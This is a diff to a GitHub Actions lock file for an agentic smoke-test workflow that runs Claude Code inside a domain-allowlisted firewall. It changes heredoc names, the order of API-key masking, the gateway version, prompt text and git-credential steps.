/tmp/gh-aw/mcp-logs/safeoutputs - cat > /opt/gh-aw/safeoutputs/config.json << 'EOF' + cat > /opt/gh-aw/safeoutputs/config.json << 'GH_AW_SAFE_OUTPUTS_CONFIG_EOF' {"add_comment":{"max":1},"add_labels":{"allowed":["smoke-claude"],"max":3},"missing_data":{},"missing_tool":{},"noop":{"max":1}} - EOF - cat > /opt/gh-aw/safeoutputs/tools.json << 'EOF' + GH_AW_SAFE_OUTPUTS_CONFIG_EOF + cat > /opt/gh-aw/safeoutputs/tools.json << 'GH_AW_SAFE_OUTPUTS_TOOLS_EOF' [ { "description": "Add a comment to an existing GitHub issue, pull request, or discussion. Use this to provide feedback, answer questions, or add information to an existing conversation. For creating new items, use create_issue, create_discussion, or create_pull_request instead. CONSTRAINTS: Maximum 1 comment(s) can be added.", @@ -330,8 +377,8 @@ jobs: "name": "missing_data" } ] - EOF - cat > /opt/gh-aw/safeoutputs/validation.json << 'EOF' + GH_AW_SAFE_OUTPUTS_TOOLS_EOF + cat > /opt/gh-aw/safeoutputs/validation.json << 'GH_AW_SAFE_OUTPUTS_VALIDATION_EOF' { "add_comment": { "defaultMax": 1, @@ -395,18 +442,17 @@ jobs: } } } - EOF + GH_AW_SAFE_OUTPUTS_VALIDATION_EOF - name: Generate Safe Outputs MCP Server Config id: safe-outputs-config run: | # Generate a secure random API key (360 bits of entropy, 40+ chars) - API_KEY="" + # Mask immediately to prevent timing vulnerabilities API_KEY=$(openssl rand -base64 45 | tr -d '/+=') - PORT=3001 - - # Register API key as secret to mask it from logs echo "::add-mask::${API_KEY}" + PORT=3001 + # Set outputs for next steps { echo "safe_outputs_api_key=${API_KEY}" @@ -450,19 +496,17 @@ jobs: # Export gateway environment variables for MCP config and gateway script export MCP_GATEWAY_PORT="80" export MCP_GATEWAY_DOMAIN="host.docker.internal" - MCP_GATEWAY_API_KEY="" MCP_GATEWAY_API_KEY=$(openssl rand -base64 45 | tr -d '/+=') + echo "::add-mask::${MCP_GATEWAY_API_KEY}" export MCP_GATEWAY_API_KEY export MCP_GATEWAY_PAYLOAD_DIR="/tmp/gh-aw/mcp-payloads" mkdir -p "${MCP_GATEWAY_PAYLOAD_DIR}" export DEBUG="*" - # Register API key as secret to mask it from logs - echo "::add-mask::${MCP_GATEWAY_API_KEY}" export GH_AW_ENGINE="claude" - export MCP_GATEWAY_DOCKER_COMMAND='docker run -i --rm --network host -v /var/run/docker.sock:/var/run/docker.sock -e MCP_GATEWAY_PORT -e MCP_GATEWAY_DOMAIN -e MCP_GATEWAY_API_KEY -e MCP_GATEWAY_PAYLOAD_DIR -e DEBUG -e MCP_GATEWAY_LOG_DIR -e GH_AW_MCP_LOG_DIR -e GH_AW_SAFE_OUTPUTS -e GH_AW_SAFE_OUTPUTS_CONFIG_PATH -e GH_AW_SAFE_OUTPUTS_TOOLS_PATH -e GH_AW_ASSETS_BRANCH -e GH_AW_ASSETS_MAX_SIZE_KB -e GH_AW_ASSETS_ALLOWED_EXTS -e DEFAULT_BRANCH -e GITHUB_MCP_SERVER_TOKEN -e GITHUB_MCP_LOCKDOWN -e GITHUB_REPOSITORY -e GITHUB_SERVER_URL -e GITHUB_SHA -e GITHUB_WORKSPACE -e GITHUB_TOKEN -e GITHUB_RUN_ID -e GITHUB_RUN_NUMBER -e GITHUB_RUN_ATTEMPT -e GITHUB_JOB -e GITHUB_ACTION -e GITHUB_EVENT_NAME -e GITHUB_EVENT_PATH -e GITHUB_ACTOR -e GITHUB_ACTOR_ID -e GITHUB_TRIGGERING_ACTOR -e GITHUB_WORKFLOW -e GITHUB_WORKFLOW_REF -e GITHUB_WORKFLOW_SHA -e GITHUB_REF -e GITHUB_REF_NAME -e GITHUB_REF_TYPE -e GITHUB_HEAD_REF -e GITHUB_BASE_REF -e GH_AW_SAFE_OUTPUTS_PORT -e GH_AW_SAFE_OUTPUTS_API_KEY -v /tmp/gh-aw/mcp-payloads:/tmp/gh-aw/mcp-payloads:rw -v /opt:/opt:ro -v /tmp:/tmp:rw -v '"${GITHUB_WORKSPACE}"':'"${GITHUB_WORKSPACE}"':rw ghcr.io/github/gh-aw-mcpg:v0.0.113' + export MCP_GATEWAY_DOCKER_COMMAND='docker run -i --rm --network host -v /var/run/docker.sock:/var/run/docker.sock -e MCP_GATEWAY_PORT -e MCP_GATEWAY_DOMAIN -e MCP_GATEWAY_API_KEY -e MCP_GATEWAY_PAYLOAD_DIR -e DEBUG -e MCP_GATEWAY_LOG_DIR -e GH_AW_MCP_LOG_DIR -e GH_AW_SAFE_OUTPUTS -e GH_AW_SAFE_OUTPUTS_CONFIG_PATH -e GH_AW_SAFE_OUTPUTS_TOOLS_PATH -e GH_AW_ASSETS_BRANCH -e GH_AW_ASSETS_MAX_SIZE_KB -e GH_AW_ASSETS_ALLOWED_EXTS -e DEFAULT_BRANCH -e GITHUB_MCP_SERVER_TOKEN -e GITHUB_MCP_LOCKDOWN -e GITHUB_REPOSITORY -e GITHUB_SERVER_URL -e GITHUB_SHA -e GITHUB_WORKSPACE -e GITHUB_TOKEN -e GITHUB_RUN_ID -e GITHUB_RUN_NUMBER -e GITHUB_RUN_ATTEMPT -e GITHUB_JOB -e GITHUB_ACTION -e GITHUB_EVENT_NAME -e GITHUB_EVENT_PATH -e GITHUB_ACTOR -e GITHUB_ACTOR_ID -e GITHUB_TRIGGERING_ACTOR -e GITHUB_WORKFLOW -e GITHUB_WORKFLOW_REF -e GITHUB_WORKFLOW_SHA -e GITHUB_REF -e GITHUB_REF_NAME -e GITHUB_REF_TYPE -e GITHUB_HEAD_REF -e GITHUB_BASE_REF -e GH_AW_SAFE_OUTPUTS_PORT -e GH_AW_SAFE_OUTPUTS_API_KEY -v /tmp/gh-aw/mcp-payloads:/tmp/gh-aw/mcp-payloads:rw -v /opt:/opt:ro -v /tmp:/tmp:rw -v '"${GITHUB_WORKSPACE}"':'"${GITHUB_WORKSPACE}"':rw ghcr.io/github/gh-aw-mcpg:v0.1.4' - cat << MCPCONFIG_EOF | bash /opt/gh-aw/actions/start_mcp_gateway.sh + cat << GH_AW_MCP_CONFIG_EOF | bash /opt/gh-aw/actions/start_mcp_gateway.sh { "mcpServers": { "github": { @@ -506,54 +550,9 @@ jobs: "payloadDir": "${MCP_GATEWAY_PAYLOAD_DIR}" } } - MCPCONFIG_EOF - - name: Generate agentic run info - id: generate_aw_info - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 - with: - script: | - const fs = require('fs'); - - const awInfo = { - engine_id: "claude", - engine_name: "Claude Code", - model: process.env.GH_AW_MODEL_AGENT_CLAUDE || "", - version: "", - agent_version: "2.1.34", - cli_version: "v0.42.17", - workflow_name: "Smoke Claude", - experimental: false, - supports_tools_allowlist: true, - supports_http_transport: true, - run_id: context.runId, - run_number: context.runNumber, - run_attempt: process.env.GITHUB_RUN_ATTEMPT, - repository: context.repo.owner + '/' + context.repo.repo, - ref: context.ref, - sha: context.sha, - actor: context.actor, - event_name: context.eventName, - staged: false, - allowed_domains: ["defaults","github","playwright"], - firewall_enabled: true, - awf_version: "v0.13.12", - awmg_version: "v0.0.113", - steps: { - firewall: "squid" - }, - created_at: new Date().toISOString() - }; - - // Write to /tmp/gh-aw directory to avoid inclusion in PR - const tmpPath = '/tmp/gh-aw/aw_info.json'; - fs.writeFileSync(tmpPath, JSON.stringify(awInfo, null, 2)); - console.log('Generated aw_info.json at:', tmpPath); - console.log(JSON.stringify(awInfo, null, 2)); - - // Set model as output for reuse in other steps/jobs - core.setOutput('model', awInfo.model); + GH_AW_MCP_CONFIG_EOF - name: Generate workflow overview - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 with: script: | const { generateWorkflowOverview } = require('/opt/gh-aw/actions/generate_workflow_overview.cjs'); @@ -572,14 +571,15 @@ jobs: GH_AW_GITHUB_WORKSPACE: ${{ github.workspace }} run: | bash /opt/gh-aw/actions/create_prompt_first.sh - cat << 'PROMPT_EOF' > "$GH_AW_PROMPT" + cat << 'GH_AW_PROMPT_EOF' > "$GH_AW_PROMPT" - PROMPT_EOF + GH_AW_PROMPT_EOF + cat "/opt/gh-aw/prompts/xpia.md" >> "$GH_AW_PROMPT" cat "/opt/gh-aw/prompts/temp_folder_prompt.md" >> "$GH_AW_PROMPT" cat "/opt/gh-aw/prompts/markdown.md" >> "$GH_AW_PROMPT" cat "/opt/gh-aw/prompts/playwright_prompt.md" >> "$GH_AW_PROMPT" cat "/opt/gh-aw/prompts/cache_memory_prompt.md" >> "$GH_AW_PROMPT" - cat << 'PROMPT_EOF' >> "$GH_AW_PROMPT" + cat << 'GH_AW_PROMPT_EOF' >> "$GH_AW_PROMPT" GitHub API Access Instructions @@ -588,6 +588,19 @@ jobs: To create or modify GitHub resources (issues, discussions, pull requests, etc.), you MUST call the appropriate safe output tool. Simply writing content will NOT work - the workflow requires actual tool calls. + Temporary IDs: Some safe output tools support a temporary ID field (usually named temporary_id) so you can reference newly-created items elsewhere in the SAME agent output (for example, using #aw_abc1 in a later body). + + **IMPORTANT - temporary_id format rules:** + - If you DON'T need to reference the item later, OMIT the temporary_id field entirely (it will be auto-generated if needed) + - If you DO need cross-references/chaining, you MUST match this EXACT validation regex: /^aw_[A-Za-z0-9]{3,8}$/i + - Format: aw_ prefix followed by 3 to 8 alphanumeric characters (A-Z, a-z, 0-9, case-insensitive) + - Valid alphanumeric characters: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 + - INVALID examples: aw_ab (too short), aw_123456789 (too long), aw_test-id (contains hyphen), aw_id_123 (contains underscore) + - VALID examples: aw_abc, aw_abc1, aw_Test123, aw_A1B2C3D4, aw_12345678 + - To generate valid IDs: use 3-8 random alphanumeric characters or omit the field to let the system auto-generate + + Do NOT invent other aw_* formats — downstream steps will reject them with validation errors matching against /^aw_[A-Za-z0-9]{3,8}$/i. + Discover available tools from the safeoutputs MCP server. **Critical**: Tool calls write structured data that downstream jobs process. Without tool calls, follow-up actions will be skipped. @@ -623,20 +636,21 @@ jobs: {{/if}} - PROMPT_EOF - cat << 'PROMPT_EOF' >> "$GH_AW_PROMPT" + GH_AW_PROMPT_EOF + cat << 'GH_AW_PROMPT_EOF' >> "$GH_AW_PROMPT" - PROMPT_EOF - cat << 'PROMPT_EOF' >> "$GH_AW_PROMPT" + GH_AW_PROMPT_EOF + cat << 'GH_AW_PROMPT_EOF' >> "$GH_AW_PROMPT" {{#runtime-import .github/workflows/shared/mcp-pagination.md}} - PROMPT_EOF - cat << 'PROMPT_EOF' >> "$GH_AW_PROMPT" + GH_AW_PROMPT_EOF + cat << 'GH_AW_PROMPT_EOF' >> "$GH_AW_PROMPT" {{#runtime-import .github/workflows/smoke-claude.md}} - PROMPT_EOF + GH_AW_PROMPT_EOF - name: Substitute placeholders - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 env: GH_AW_PROMPT: /tmp/gh-aw/aw-prompts/prompt.txt + GH_AW_ALLOWED_EXTENSIONS: '' GH_AW_CACHE_DESCRIPTION: '' GH_AW_CACHE_DIR: '/tmp/gh-aw/cache-memory/' GH_AW_GITHUB_ACTOR: ${{ github.actor }} @@ -655,6 +669,7 @@ jobs: return await substitutePlaceholders({ file: process.env.GH_AW_PROMPT, substitutions: { + GH_AW_ALLOWED_EXTENSIONS: process.env.GH_AW_ALLOWED_EXTENSIONS, GH_AW_CACHE_DESCRIPTION: process.env.GH_AW_CACHE_DESCRIPTION, GH_AW_CACHE_DIR: process.env.GH_AW_CACHE_DIR, GH_AW_GITHUB_ACTOR: process.env.GH_AW_GITHUB_ACTOR, @@ -668,7 +683,7 @@ jobs: } }); - name: Interpolate variables and render templates - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 env: GH_AW_PROMPT: /tmp/gh-aw/aw-prompts/prompt.txt GH_AW_GITHUB_REPOSITORY: ${{ github.repository }} @@ -687,6 +702,8 @@ jobs: env: GH_AW_PROMPT: /tmp/gh-aw/aw-prompts/prompt.txt run: bash /opt/gh-aw/actions/print_prompt_summary.sh + - name: Clean git credentials + run: bash /opt/gh-aw/actions/clean_git_credentials.sh - name: Execute Claude Code CLI id: agentic_execution # Allowed tools (sorted): @@ -785,14 +802,12 @@ jobs: timeout-minutes: 10 run: | set -o pipefail - sudo -E awf --tty --env-all --container-workdir "${GITHUB_WORKSPACE}" --allow-domains '*.githubusercontent.com,anthropic.com,api.anthropic.com,api.github.com,api.snapcraft.io,archive.ubuntu.com,azure.archive.ubuntu.com,cdn.playwright.dev,codeload.github.com,crl.geotrust.com,crl.globalsign.com,crl.identrust.com,crl.sectigo.com,crl.thawte.com,crl.usertrust.com,crl.verisign.com,crl3.digicert.com,crl4.digicert.com,crls.ssl.com,files.pythonhosted.org,ghcr.io,github-cloud.githubusercontent.com,github-cloud.s3.amazonaws.com,github.com,github.githubassets.com,host.docker.internal,json-schema.org,json.schemastore.org,keyserver.ubuntu.com,lfs.github.com,objects.githubusercontent.com,ocsp.digicert.com,ocsp.geotrust.com,ocsp.globalsign.com,ocsp.identrust.com,ocsp.sectigo.com,ocsp.ssl.com,ocsp.thawte.com,ocsp.usertrust.com,ocsp.verisign.com,packagecloud.io,packages.cloud.google.com,packages.microsoft.com,playwright.download.prss.microsoft.com,ppa.launchpad.net,pypi.org,raw.githubusercontent.com,registry.npmjs.org,s.symcb.com,s.symcd.com,security.ubuntu.com,sentry.io,statsig.anthropic.com,ts-crl.ws.symantec.com,ts-ocsp.ws.symantec.com' --log-level info --proxy-logs-dir /tmp/gh-aw/sandbox/firewall/logs --enable-host-access --enable-api-proxy --build-local \ - -- /bin/bash -c 'export PATH="$(find /opt/hostedtoolcache -maxdepth 4 -type d -name bin 2>/dev/null | tr '\''\n'\'' '\'':'\'')$PATH"; [ -n "$GOROOT" ] && export PATH="$GOROOT/bin:$PATH" || true && mkdir -p ~/.claude && echo '\''{"apiKeyHelper":"/usr/local/bin/get-claude-key.sh"}'\'' > ~/.claude/config.json && unset ANTHROPIC_API_KEY ANTHROPIC_AUTH_TOKEN HTTP_PROXY HTTPS_PROXY http_proxy https_proxy && claude --print --disable-slash-commands --no-chrome --max-turns 15 --mcp-config /tmp/gh-aw/mcp-config/mcp-servers.json --allowed-tools '\''Bash,BashOutput,Edit,Edit(/tmp/gh-aw/cache-memory/*),ExitPlanMode,Glob,Grep,KillBash,LS,MultiEdit,MultiEdit(/tmp/gh-aw/cache-memory/*),NotebookEdit,NotebookRead,Read,Read(/tmp/gh-aw/cache-memory/*),Task,TodoWrite,Write,Write(/tmp/gh-aw/cache-memory/*),mcp__github__download_workflow_run_artifact,mcp__github__get_code_scanning_alert,mcp__github__get_commit,mcp__github__get_dependabot_alert,mcp__github__get_discussion,mcp__github__get_discussion_comments,mcp__github__get_file_contents,mcp__github__get_job_logs,mcp__github__get_label,mcp__github__get_latest_release,mcp__github__get_me,mcp__github__get_notification_details,mcp__github__get_pull_request,mcp__github__get_pull_request_comments,mcp__github__get_pull_request_diff,mcp__github__get_pull_request_files,mcp__github__get_pull_request_review_comments,mcp__github__get_pull_request_reviews,mcp__github__get_pull_request_status,mcp__github__get_release_by_tag,mcp__github__get_secret_scanning_alert,mcp__github__get_tag,mcp__github__get_workflow_run,mcp__github__get_workflow_run_logs,mcp__github__get_workflow_run_usage,mcp__github__issue_read,mcp__github__list_branches,mcp__github__list_code_scanning_alerts,mcp__github__list_commits,mcp__github__list_dependabot_alerts,mcp__github__list_discussion_categories,mcp__github__list_discussions,mcp__github__list_issue_types,mcp__github__list_issues,mcp__github__list_label,mcp__github__list_notifications,mcp__github__list_pull_requests,mcp__github__list_releases,mcp__github__list_secret_scanning_alerts,mcp__github__list_starred_repositories,mcp__github__list_tags,mcp__github__list_workflow_jobs,mcp__github__list_workflow_run_artifacts,mcp__github__list_workflow_runs,mcp__github__list_workflows,mcp__github__pull_request_read,mcp__github__search_code,mcp__github__search_issues,mcp__github__search_orgs,mcp__github__search_pull_requests,mcp__github__search_repositories,mcp__github__search_users,mcp__playwright__browser_click,mcp__playwright__browser_close,mcp__playwright__browser_console_messages,mcp__playwright__browser_drag,mcp__playwright__browser_evaluate,mcp__playwright__browser_file_upload,mcp__playwright__browser_fill_form,mcp__playwright__browser_handle_dialog,mcp__playwright__browser_hover,mcp__playwright__browser_install,mcp__playwright__browser_navigate,mcp__playwright__browser_navigate_back,mcp__playwright__browser_network_requests,mcp__playwright__browser_press_key,mcp__playwright__browser_resize,mcp__playwright__browser_select_option,mcp__playwright__browser_snapshot,mcp__playwright__browser_tabs,mcp__playwright__browser_take_screenshot,mcp__playwright__browser_type,mcp__playwright__browser_wait_for'\'' --debug-file /tmp/gh-aw/agent-stdio.log --verbose --permission-mode bypassPermissions --output-format stream-json "$(cat /tmp/gh-aw/aw-prompts/prompt.txt)"${GH_AW_MODEL_AGENT_CLAUDE:+ --model "$GH_AW_MODEL_AGENT_CLAUDE"}' 2>&1 | tee -a /tmp/gh-aw/agent-stdio.log + sudo -E awf --tty --env-all --container-workdir "${GITHUB_WORKSPACE}" --allow-domains '*.githubusercontent.com,anthropic.com,api.anthropic.com,api.github.com,api.snapcraft.io,archive.ubuntu.com,azure.archive.ubuntu.com,cdn.playwright.dev,codeload.github.com,crl.geotrust.com,crl.globalsign.com,crl.identrust.com,crl.sectigo.com,crl.thawte.com,crl.usertrust.com,crl.verisign.com,crl3.digicert.com,crl4.digicert.com,crls.ssl.com,files.pythonhosted.org,ghcr.io,github-cloud.githubusercontent.com,github-cloud.s3.amazonaws.com,github.com,github.githubassets.com,host.docker.internal,json-schema.org,json.schemastore.org,keyserver.ubuntu.com,lfs.github.com,objects.githubusercontent.com,ocsp.digicert.com,ocsp.geotrust.com,ocsp.globalsign.com,ocsp.identrust.com,ocsp.sectigo.com,ocsp.ssl.com,ocsp.thawte.com,ocsp.usertrust.com,ocsp.verisign.com,packagecloud.io,packages.cloud.google.com,packages.microsoft.com,playwright.download.prss.microsoft.com,ppa.launchpad.net,pypi.org,raw.githubusercontent.com,registry.npmjs.org,s.symcb.com,s.symcd.com,security.ubuntu.com,sentry.io,statsig.anthropic.com,ts-crl.ws.symantec.com,ts-ocsp.ws.symantec.com' --log-level info --proxy-logs-dir /tmp/gh-aw/sandbox/firewall/logs --enable-host-access --build-local --enable-api-proxy \ + -- /bin/bash -c 'export PATH="$(find /opt/hostedtoolcache -maxdepth 4 -type d -name bin 2>/dev/null | tr '\''\n'\'' '\'':'\'')$PATH"; [ -n "$GOROOT" ] && export PATH="$GOROOT/bin:$PATH" || true && claude --print --disable-slash-commands --no-chrome --max-turns 15 --mcp-config /tmp/gh-aw/mcp-config/mcp-servers.json --allowed-tools '\''Bash,BashOutput,Edit,Edit(/tmp/gh-aw/cache-memory/*),ExitPlanMode,Glob,Grep,KillBash,LS,MultiEdit,MultiEdit(/tmp/gh-aw/cache-memory/*),NotebookEdit,NotebookRead,Read,Read(/tmp/gh-aw/cache-memory/*),Task,TodoWrite,Write,Write(/tmp/gh-aw/cache-memory/*),mcp__github__download_workflow_run_artifact,mcp__github__get_code_scanning_alert,mcp__github__get_commit,mcp__github__get_dependabot_alert,mcp__github__get_discussion,mcp__github__get_discussion_comments,mcp__github__get_file_contents,mcp__github__get_job_logs,mcp__github__get_label,mcp__github__get_latest_release,mcp__github__get_me,mcp__github__get_notification_details,mcp__github__get_pull_request,mcp__github__get_pull_request_comments,mcp__github__get_pull_request_diff,mcp__github__get_pull_request_files,mcp__github__get_pull_request_review_comments,mcp__github__get_pull_request_reviews,mcp__github__get_pull_request_status,mcp__github__get_release_by_tag,mcp__github__get_secret_scanning_alert,mcp__github__get_tag,mcp__github__get_workflow_run,mcp__github__get_workflow_run_logs,mcp__github__get_workflow_run_usage,mcp__github__issue_read,mcp__github__list_branches,mcp__github__list_code_scanning_alerts,mcp__github__list_commits,mcp__github__list_dependabot_alerts,mcp__github__list_discussion_categories,mcp__github__list_discussions,mcp__github__list_issue_types,mcp__github__list_issues,mcp__github__list_label,mcp__github__list_notifications,mcp__github__list_pull_requests,mcp__github__list_releases,mcp__github__list_secret_scanning_alerts,mcp__github__list_starred_repositories,mcp__github__list_tags,mcp__github__list_workflow_jobs,mcp__github__list_workflow_run_artifacts,mcp__github__list_workflow_runs,mcp__github__list_workflows,mcp__github__pull_request_read,mcp__github__search_code,mcp__github__search_issues,mcp__github__search_orgs,mcp__github__search_pull_requests,mcp__github__search_repositories,mcp__github__search_users,mcp__playwright__browser_click,mcp__playwright__browser_close,mcp__playwright__browser_console_messages,mcp__playwright__browser_drag,mcp__playwright__browser_evaluate,mcp__playwright__browser_file_upload,mcp__playwright__browser_fill_form,mcp__playwright__browser_handle_dialog,mcp__playwright__browser_hover,mcp__playwright__browser_install,mcp__playwright__browser_navigate,mcp__playwright__browser_navigate_back,mcp__playwright__browser_network_requests,mcp__playwright__browser_press_key,mcp__playwright__browser_resize,mcp__playwright__browser_select_option,mcp__playwright__browser_snapshot,mcp__playwright__browser_tabs,mcp__playwright__browser_take_screenshot,mcp__playwright__browser_type,mcp__playwright__browser_wait_for'\'' --debug-file /tmp/gh-aw/agent-stdio.log --verbose --permission-mode bypassPermissions --output-format stream-json "$(cat /tmp/gh-aw/aw-prompts/prompt.txt)"${GH_AW_MODEL_AGENT_CLAUDE:+ --model "$GH_AW_MODEL_AGENT_CLAUDE"}' 2>&1 | tee -a /tmp/gh-aw/agent-stdio.log env: ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }} BASH_DEFAULT_TIMEOUT_MS: 60000 BASH_MAX_TIMEOUT_MS: 60000 - CLAUDE_CODE_API_KEY_HELPER: /usr/local/bin/get-claude-key.sh - CLAUDE_CODE_API_KEY_HELPER_TTL_MS: 3600000 CLAUDE_CODE_OAUTH_TOKEN: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }} DISABLE_BUG_COMMAND: 1 DISABLE_ERROR_REPORTING: 1 @@ -805,6 +820,17 @@ jobs: GITHUB_WORKSPACE: ${{ github.workspace }} MCP_TIMEOUT: 120000 MCP_TOOL_TIMEOUT: 60000 + - name: Configure Git credentials + env: + REPO_NAME: ${{ github.repository }} + SERVER_URL: ${{ github.server_url }} + run: | + git config --global user.email "github-actions[bot]@users.noreply.github.com" + git config --global user.name "github-actions[bot]" + # Re-authenticate git with GitHub token + SERVER_URL_STRIPPED="${SERVER_URL#https://}" + git remote set-url origin "https://x-access-token:${{ github.token }}@${SERVER_URL_STRIPPED}/${REPO_NAME}.git" + echo "Git configured with standard GitHub Actions identity" - name: Stop MCP gateway if: always() continue-on-error: true @@ -816,7 +842,7 @@ jobs: bash /opt/gh-aw/actions/stop_mcp_gateway.sh "$GATEWAY_PID" - name: Redact secrets in logs if: always() - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 with: script: | const { setupGlobals } = require('/opt/gh-aw/actions/setup_globals.cjs'); @@ -839,7 +865,7 @@ jobs: if-no-files-found: warn - name: Ingest agent output id: collect_output - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 env: GH_AW_SAFE_OUTPUTS: ${{ env.GH_AW_SAFE_OUTPUTS }} GH_AW_ALLOWED_DOMAINS: "*.githubusercontent.com,anthropic.com,api.anthropic.com,api.github.com,api.snapcraft.io,archive.ubuntu.com,azure.archive.ubuntu.com,cdn.playwright.dev,codeload.github.com,crl.geotrust.com,crl.globalsign.com,crl.identrust.com,crl.sectigo.com,crl.thawte.com,crl.usertrust.com,crl.verisign.com,crl3.digicert.com,crl4.digicert.com,crls.ssl.com,files.pythonhosted.org,ghcr.io,github-cloud.githubusercontent.com,github-cloud.s3.amazonaws.com,github.com,github.githubassets.com,host.docker.internal,json-schema.org,json.schemastore.org,keyserver.ubuntu.com,lfs.github.com,objects.githubusercontent.com,ocsp.digicert.com,ocsp.geotrust.com,ocsp.globalsign.com,ocsp.identrust.com,ocsp.sectigo.com,ocsp.ssl.com,ocsp.thawte.com,ocsp.usertrust.com,ocsp.verisign.com,packagecloud.io,packages.cloud.google.com,packages.microsoft.com,playwright.download.prss.microsoft.com,ppa.launchpad.net,pypi.org,raw.githubusercontent.com,registry.npmjs.org,s.symcb.com,s.symcd.com,security.ubuntu.com,sentry.io,statsig.anthropic.com,ts-crl.ws.symantec.com,ts-ocsp.ws.symantec.com" @@ -860,7 +886,7 @@ jobs: if-no-files-found: warn - name: Parse agent logs for step summary if: always() - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 env: GH_AW_AGENT_OUTPUT: /tmp/gh-aw/agent-stdio.log with: @@ -871,7 +897,7 @@ jobs: await main(); - name: Parse MCP gateway logs for step summary if: always() - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 with: script: | const { setupGlobals } = require('/opt/gh-aw/actions/setup_globals.cjs'); @@ -894,6 +920,9 @@ jobs: with: name: cache-memory path: /tmp/gh-aw/cache-memory + - if: always() + name: Show final Claude Code config + run: "echo \"=== Final Claude Code Config ===\"\nif [ -f ~/.claude/config.json ]; then\n echo \"File: ~/.claude/config.json\"\n cat ~/.claude/config.json\nelse\n echo \"~/.claude/config.json not found\"\nfi\nif [ -f ~/.claude.json ]; then\n echo \"\"\n echo \"File: ~/.claude.json\"\n cat ~/.claude.json\nelse\n echo \"~/.claude.json not found\"\nfi\n" - name: Validate safe outputs were invoked run: "OUTPUTS_FILE=\"${GH_AW_SAFE_OUTPUTS:-/opt/gh-aw/safeoutputs/outputs.jsonl}\"\nif [ ! -s \"$OUTPUTS_FILE\" ]; then\n echo \"::error::No safe outputs were invoked. Smoke tests require the agent to call safe output tools.\"\n exit 1\nfi\necho \"Safe output entries found: $(wc -l < \"$OUTPUTS_FILE\")\"\nif [ \"$GITHUB_EVENT_NAME\" = \"pull_request\" ]; then\n if ! grep -q '\"add_comment\"' \"$OUTPUTS_FILE\"; then\n echo \"::error::Agent did not call add_comment on a pull_request trigger.\"\n exit 1\n fi\n echo \"add_comment verified for PR trigger\"\nfi\necho \"Safe output validation passed\"" @@ -932,20 +961,9 @@ jobs: total_count: ${{ steps.missing_tool.outputs.total_count }} steps: - name: Setup Scripts - uses: github/gh-aw/actions/setup@7a970851c1090295e55a16e549c61ba1ce227f16 # v0.42.17 + uses: github/gh-aw/actions/setup@v0.43.23 with: destination: /opt/gh-aw/actions - - name: Debug job inputs - env: - COMMENT_ID: ${{ needs.activation.outputs.comment_id }} - COMMENT_REPO: ${{ needs.activation.outputs.comment_repo }} - AGENT_OUTPUT_TYPES: ${{ needs.agent.outputs.output_types }} - AGENT_CONCLUSION: ${{ needs.agent.result }} - run: | - echo "Comment ID: $COMMENT_ID" - echo "Comment Repo: $COMMENT_REPO" - echo "Agent Output Types: $AGENT_OUTPUT_TYPES" - echo "Agent Conclusion: $AGENT_CONCLUSION" - name: Download agent output artifact continue-on-error: true uses: actions/download-artifact@018cc2cf5baa6db3ef3c5f8a56943fffe632ef53 # v6.0.0 @@ -959,7 +977,7 @@ jobs: echo "GH_AW_AGENT_OUTPUT=/tmp/gh-aw/safeoutputs/agent_output.json" >> "$GITHUB_ENV" - name: Process No-Op Messages id: noop - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 env: GH_AW_AGENT_OUTPUT: ${{ env.GH_AW_AGENT_OUTPUT }} GH_AW_NOOP_MAX: 1 @@ -973,7 +991,7 @@ jobs: await main(); - name: Record Missing Tool id: missing_tool - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 env: GH_AW_AGENT_OUTPUT: ${{ env.GH_AW_AGENT_OUTPUT }} GH_AW_WORKFLOW_NAME: "Smoke Claude" @@ -986,12 +1004,13 @@ jobs: await main(); - name: Handle Agent Failure id: handle_agent_failure - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 env: GH_AW_AGENT_OUTPUT: ${{ env.GH_AW_AGENT_OUTPUT }} GH_AW_WORKFLOW_NAME: "Smoke Claude" GH_AW_RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }} GH_AW_AGENT_CONCLUSION: ${{ needs.agent.result }} + GH_AW_WORKFLOW_ID: "smoke-claude" GH_AW_SECRET_VERIFICATION_RESULT: ${{ needs.agent.outputs.secret_verification_result }} GH_AW_CHECKOUT_PR_SUCCESS: ${{ needs.agent.outputs.checkout_pr_success }} GH_AW_SAFE_OUTPUT_MESSAGES: "{\"footer\":\"\\u003e 💥 *[THE END] — Illustrated by [{workflow_name}]({run_url})*\",\"runStarted\":\"💥 **WHOOSH!** [{workflow_name}]({run_url}) springs into action on this {event_type}! *[Panel 1 begins...]*\",\"runSuccess\":\"🎬 **THE END** — [{workflow_name}]({run_url}) **MISSION: ACCOMPLISHED!** The hero saves the day! 